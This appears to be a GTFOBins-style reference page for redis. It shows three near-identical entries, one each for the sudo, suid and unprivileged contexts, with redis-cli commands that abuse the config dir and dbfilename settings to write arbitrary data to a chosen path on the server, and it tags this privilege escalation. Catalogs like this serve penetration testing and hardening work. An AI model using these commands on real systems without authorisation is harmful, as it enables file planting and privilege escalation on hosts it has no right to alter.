Catalog GTFOBins

GTFO · Tool

redis

3 techniques LinuxGTFOBins GPL-3.0

file-write

File WritePrivilege Escalation Linux

Write files on the server running Redis at the specified location. Written data will appear amongst the database dump. Keep in mind that it's actually the server to perform the file write.

redis-cli -h 127.0.0.1
config set dir /path/to/output-dir/
config set dbfilename output-file
set x "DATA"
save
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege Escalation Linux

Write files on the server running Redis at the specified location. Written data will appear amongst the database dump. Keep in mind that it's actually the server to perform the file write.

redis-cli -h 127.0.0.1
config set dir /path/to/output-dir/
config set dbfilename output-file
set x "DATA"
save
Context
suid
Native
file-write
MITRE
T1565

file-write

File Write Linux

Write files on the server running Redis at the specified location. Written data will appear amongst the database dump. Keep in mind that it's actually the server to perform the file write.

redis-cli -h 127.0.0.1
config set dir /path/to/output-dir/
config set dbfilename output-file
set x "DATA"
save
Context
unprivileged
Native
file-write
MITRE
T1565